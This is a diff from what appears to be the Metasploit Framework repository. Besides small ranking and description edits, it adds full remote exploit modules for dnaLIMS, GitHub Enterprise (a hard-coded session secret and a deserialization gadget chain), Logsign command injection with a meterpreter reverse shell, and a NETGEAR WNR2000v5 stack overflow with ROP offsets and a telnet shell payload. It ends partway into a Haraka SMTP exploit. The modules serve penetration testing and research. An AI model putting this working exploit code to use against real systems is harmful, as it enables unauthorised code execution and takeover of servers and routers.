elsif request.uri =~ /automotive\/(\w+)\/isotpsend_and_wait\?srcid=(\w+)&dstid=(\w+)&data=(\w+)/
|
||||
bus = $1; srcid = $2; dstid = $3; data = $4
|
||||
print_status("Request to send ISO-TP packet and wait for response #{srcid}##{data} => #{dstid}")
|
||||
timeout = 1500
|
||||
maxpkts = 3
|
||||
timeout = $1 if request.uri=~/&timeout=(\d+)/
|
||||
maxpkts = $1 if request.uri=~/&maxpkts=(\d+)/
|
||||
timeout = $1 if request.uri =~ /&timeout=(\d+)/
|
||||
maxpkts = $1 if request.uri =~ /&maxpkts=(\d+)/
|
||||
send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, timeout, maxpkts).to_json(), { 'Content-Type' => 'application/json' })
|
||||
else
|
||||
send_response_html(cli, not_supported().to_json(), { 'Content-Type' => 'application/json' })
|
||||
|
@ -263,9 +263,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
detect_can()
|
||||
detect_can
|
||||
@server_started = Time.now
|
||||
exploit()
|
||||
exploit
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -15,6 +15,9 @@ class MetasploitModule < Msf::Encoder::Alphanum
|
|||
'Description' => %q{
|
||||
Encodes payloads as alphanumeric mixedcase text. This encoder uses
|
||||
SkyLined's Alpha2 encoding suite.
|
||||
A pure alpha encoder is impossible without having a register that points at or near the shellcode.
|
||||
In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.
|
||||
You can set BufferRegister for full alpha (see Encoder options for details).
|
||||
},
|
||||
'Author' => [ 'pusscat', 'skylined' ],
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -18,6 +18,9 @@ class MetasploitModule < Msf::Encoder::Alphanum
|
|||
'Description' => %q{
|
||||
Encodes payloads as alphanumeric uppercase text. This encoder uses
|
||||
SkyLined's Alpha2 encoding suite.
|
||||
A pure alpha encoder is impossible without having a register that points at or near the shellcode.
|
||||
In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.
|
||||
You can set BufferRegister for full alpha (see Encoder options for details).
|
||||
},
|
||||
'Author' => [ 'pusscat', 'skylined' ],
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -7,6 +7,7 @@ require 'msf/core'
|
|||
require 'msf/core/payload/firefox'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'dnaLIMS Admin Module Command Execution',
|
||||
'Description' => %q{
|
||||
This module utilizes an administrative module which allows for
|
||||
command execution. This page is completely unprotected from any
|
||||
authentication when given a POST request.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
|
||||
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-6526'],
|
||||
['US-CERT-VU', '929263'],
|
||||
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
|
||||
],
|
||||
'Platform' => %w( linux unix ),
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', { }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 8 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'investigator' => '',
|
||||
'username' => '',
|
||||
'navUserName' => '',
|
||||
'Action' => 'executeCmd',
|
||||
'executeCmdData' => 'perl -V'
|
||||
}
|
||||
)
|
||||
if res && res.body
|
||||
if /Summary of/ =~ res.body
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
vprint_status('Sending Exploit')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'investigator' => '',
|
||||
'username' => '',
|
||||
'navUserName' => '',
|
||||
'Action' => 'executeCmd',
|
||||
'executeCmdData' => payload.encoded,
|
||||
}
|
||||
)
|
||||
vprint_good(res.body)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
|
|
@ -0,0 +1,195 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
|
||||
The first is that the session management uses a hard-coded secret value, which can be
|
||||
abused to sign a serialized malicious Ruby object. The second problem is due to the
|
||||
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
|
||||
and results in arbitrary remote code execution.
|
||||
|
||||
This exploit was tested against version 2.8.0.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
|
||||
'sinn3r' # Porting the PoC to Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '41616' ],
|
||||
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
|
||||
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Github Enterprise 2.8', { } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'RPORT' => 8443
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 15 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def secret
|
||||
'641dd6454584ddabfed6342cc66281fb'
|
||||
end
|
||||
|
||||
def check
|
||||
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'vars_get' =>{
|
||||
'redirect_to' => '/'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection timed out.')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.get_cookies.match(/^_gh_manage/)
|
||||
vprint_error('No _gh_manage value in cookie found')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
cookies = res.get_cookies
|
||||
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
|
||||
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
|
||||
data = gh_manage_value.split('--').first
|
||||
hmac = gh_manage_value.split('--').last.split(';', 2).first
|
||||
vprint_status("Data: #{data.gsub(/\n/, '')}")
|
||||
vprint_status("Extracted HMAC: #{hmac}")
|
||||
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
|
||||
vprint_status("Expected HMAC: #{expected_hmac}")
|
||||
|
||||
if expected_hmac == hmac
|
||||
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_ruby_code
|
||||
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
|
||||
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
|
||||
register_file_for_cleanup(b64_fname, bin_fname)
|
||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||
|
||||
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
|
||||
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
|
||||
c << "%x(chmod +x #{bin_fname}); "
|
||||
c << "%x(#{bin_fname})"
|
||||
c
|
||||
end
|
||||
|
||||
|
||||
def serialize
|
||||
# We don't want to run this code within the context of Framework, so we run it as an
|
||||
# external process.
|
||||
# Brilliant trick from Brent and Adam to overcome the issue.
|
||||
ruby_code = %Q|
|
||||
module Erubis;class Eruby;end;end
|
||||
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
|
||||
|
||||
erubis = Erubis::Eruby.allocate
|
||||
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
|
||||
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
|
||||
proxy.instance_variable_set :@instance, erubis
|
||||
proxy.instance_variable_set :@method, :result
|
||||
proxy.instance_variable_set :@var, "@result"
|
||||
|
||||
session =
|
||||
{
|
||||
'session_id' => '',
|
||||
'exploit' => proxy
|
||||
}
|
||||
|
||||
print Marshal.dump(session)
|
||||
|
|
||||
|
||||
serialized_output = `ruby -e "#{ruby_code}"`
|
||||
|
||||
serialized_object = [serialized_output].pack('m')
|
||||
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
|
||||
|
||||
return serialized_object, hmac
|
||||
end
|
||||
|
||||
def send_serialized_data(dump, hmac)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
|
||||
cookie = "_gh_manage=#{gh_manage_value}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res
|
||||
print_status("Server returned: #{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
dump, hmac = serialize
|
||||
print_status('Serialized Ruby stager')
|
||||
|
||||
print_status('Sending serialized Ruby stager...')
|
||||
send_serialized_data(dump, hmac)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
Handy information:
|
||||
|
||||
To deobfuscate Github code, use this script:
|
||||
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
|
||||
|
||||
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
|
||||
algorithm:
|
||||
|
||||
* Takes the session hash (Json) in env['rack.session']
|
||||
* Marshal.dump the hash into a string
|
||||
* Base64 the string
|
||||
* Append a hash of the data at the end of the string to prevent tampering.
|
||||
* The signed data is saved in _gh_manage'
|
||||
|
||||
The format looks like this:
|
||||
|
||||
[ DATA ]--[ Hash ]
|
||||
|
||||
Also see:
|
||||
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
|
||||
|
||||
=end
|
|
@ -0,0 +1,77 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Logsign Remote Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits an command injection vulnerability in Logsign.
|
||||
By exploiting this vulnerability, unauthenticated users can execute
|
||||
arbitrary code under the root user.
|
||||
|
||||
Logsign has a publicly accessible endpoint. That endpoint takes a user
|
||||
input and then use it during operating system command execution without
|
||||
proper validation.
|
||||
|
||||
This module was tested against 4.4.2 and 4.4.137 versions.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DisclosureDate' => 'Feb 26 2017',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(p_hash)
|
||||
)
|
||||
|
||||
if res && res.body.include?('{"message": "success", "success": true}')
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Delivering payload...")
|
||||
|
||||
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(p_hash)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,270 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
|
||||
parameter.
|
||||
In order to exploit it, it is necessary to guess the value of a certain timestamp which
|
||||
is in the configuration of the router. An authenticated attacker can simply fetch this
|
||||
from a page, but an unauthenticated attacker has to brute force it.
|
||||
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module implements both modes, and it works very reliably. It has been tested with
|
||||
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
|
||||
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
|
||||
to adjust the LibcBase variable as well as the gadget addresses.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-10174'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'NETGEAR WNR2000v5',
|
||||
{
|
||||
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
|
||||
'SystemOffset' => 0x547D0,
|
||||
'GadgetOffset' => 0x2462C,
|
||||
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
|
||||
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
|
||||
#LOAD:00024630 move $t9, $s0
|
||||
#LOAD:00024634 jalr $t9
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x25\x26",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
|
||||
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.headers['WWW-Authenticate']
|
||||
auth = res.headers['WWW-Authenticate']
|
||||
if auth =~ /WNR2000v5/
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def uri_encode (str)
|
||||
"%" + str.scan(/.{2}|.+/).join("%")
|
||||
end
|
||||
|
||||
def calc_address (libc_base, offset)
|
||||
addr = (libc_base + offset).to_s(16)
|
||||
uri_encode(addr)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
def get_auth_timestamp
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET',
|
||||
# automatically uses HttpPassword and HttpUsername to authenticate
|
||||
})
|
||||
if res && res.code == 401
|
||||
# try again, might fail the first time
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET',
|
||||
# automatically uses HttpPassword and HttpUsername to authenticate
|
||||
})
|
||||
end
|
||||
if res && res.code == 200
|
||||
if res.body =~ /timestamp=([0-9]{8})/
|
||||
$1.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_payload
|
||||
rand_text_alpha(36) + # filler_1
|
||||
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
|
||||
rand_text_alpha(12) + # s1, s2 and s3
|
||||
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
|
||||
rand_text_alpha(0x40) + # filler_2
|
||||
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/lang_check.html" : \
|
||||
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
|
||||
})
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# 1: try to see if the default admin username and password are set
|
||||
timestamp = get_auth_timestamp
|
||||
|
||||
# 2: now we try two things at once:
|
||||
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
|
||||
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if not sock.nil?
|
||||
print_good("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
end
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
end
|
||||
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# no shell? let's just go on and bruteforce the timestamp
|
||||
# 3: get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
||||
|
||||
# 2: work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if sock.nil?
|
||||
next
|
||||
end
|
||||
print_status("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
next
|
||||
end
|
||||
end
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
if start_time < 0
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
|
||||
end
|
||||
start_time = 0
|
||||
end
|
||||
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
|
||||
|
||||
# let the router clear the buffers a bit...
|
||||
sleep 30
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
|
|
@ -9,6 +9,7 @@ require 'msf/core/exploit/local/linux'
|
|||
require 'msf/core/exploit/exe'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Vendor Homepage: https://haraka.github.io/
|
||||
# Software Link: https://github.com/haraka/Haraka
|
||||
# Exploit github: http://github.com/outflankbv/Exploits/
|
||||
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
|
||||
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
|
||||
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
|
||||
# Tested versions: 2.8.8 and 2.7.2
|
||||
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
||||
|
||||
import smtplib
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.utils import COMMASPACE, formatdate
|
||||
from email.header import Header
|
||||
from email.utils import formataddr
|
||||
from email.mime.text import MIMEText
|
||||
from datetime import datetime
|
||||
import zipfile
|
||||
import StringIO
|
||||
import sys, os, json
|
||||
|
||||
metadata = {
|
||||
'name': 'Haraka SMTP Command Injection',
|
||||
'description': '''
|
||||
The Haraka SMTP server comes with a plugin for processing attachments.
|
||||
Versions before 2.8.9 can be vulnerable to command injection
|
||||
''',
|
||||
'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
|
||||
'date': '2017-01-26',
|
||||
'references': [
|
||||
{'type': 'cve', 'ref': '2016-1000282'},
|
||||
{'type': 'edb', 'ref': '41162'},
|
||||
{'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
|
||||
],
|
||||
'type': 'remote_exploit.cmd_stager.wget',
|
||||
'privileged': True,
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'x64'},
|
||||
{'platform': 'linux', 'arch': 'x86'}
|
||||
],
|
||||
'options': {
|
||||
'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'},
|
||||
